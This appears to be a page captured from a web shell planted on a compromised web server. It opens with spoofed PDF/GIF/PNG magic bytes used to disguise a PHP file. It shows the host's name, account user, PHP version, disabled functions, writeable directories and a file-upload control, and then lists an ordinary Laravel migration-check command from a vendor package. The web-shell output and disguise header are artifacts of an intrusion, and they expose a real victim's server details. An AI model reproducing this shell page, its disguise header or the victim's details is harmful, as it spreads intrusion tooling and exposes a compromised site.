%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/vendor/froiden/envato/src/Commands/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/vendor/froiden/envato/src/Commands/MigrateCheckCommand.php
<?php

namespace Froiden\Envato\Commands;

use File;
use Illuminate\Database\Console\Migrations\BaseCommand;

class MigrateCheckCommand extends BaseCommand
{

    /**
     * The name and signature of the console command.
     *
     * @var string
     */
    protected $signature = 'migrate:check {--database= : The database connection to use.}
                {--path= : The path of migrations files to be executed.}';
    /**
     * The console command description.
     *
     * @var string
     */
    protected $description = 'Shows pending migrations. Command exits with non zero code if there are migrations to run';
    /**
     * The migrator instance.
     *
     * @var \Illuminate\Database\Migrations\Migrator
     */
    protected $migrator;

    /**
     * Create a command instance.
     *
     * @return void
     */
    public function __construct()
    {
        parent::__construct();
        $this->migrator = app('migrator');
    }

    /**
     * Execute the console command.
     *
     * @return int
     */
    public function handle()
    {
        $this->migrator->setConnection($this->option('database'));
        $files = $this->migrator->getMigrationFiles($this->getMigrationPaths());
        $pendingMigrations = array_diff(
            array_keys($files),
            $this->getRanMigrations()
        );
        if ($pendingMigrations) {
            $this->table(['Pending migrations'], array_map(function ($migration) {
                return [$migration];
            }, $pendingMigrations));
            return 1;
        }
        $this->info('No pending migrations.');
        return 0;
    }

    /**
     * Gets ran migrations with repository check
     *
     * @return array
     */
    public function getRanMigrations()
    {
        if (!$this->migrator->repositoryExists()) {
            return [];
        }
        return $this->migrator->getRepository()->getRan();
    }
}

VaKeR 2022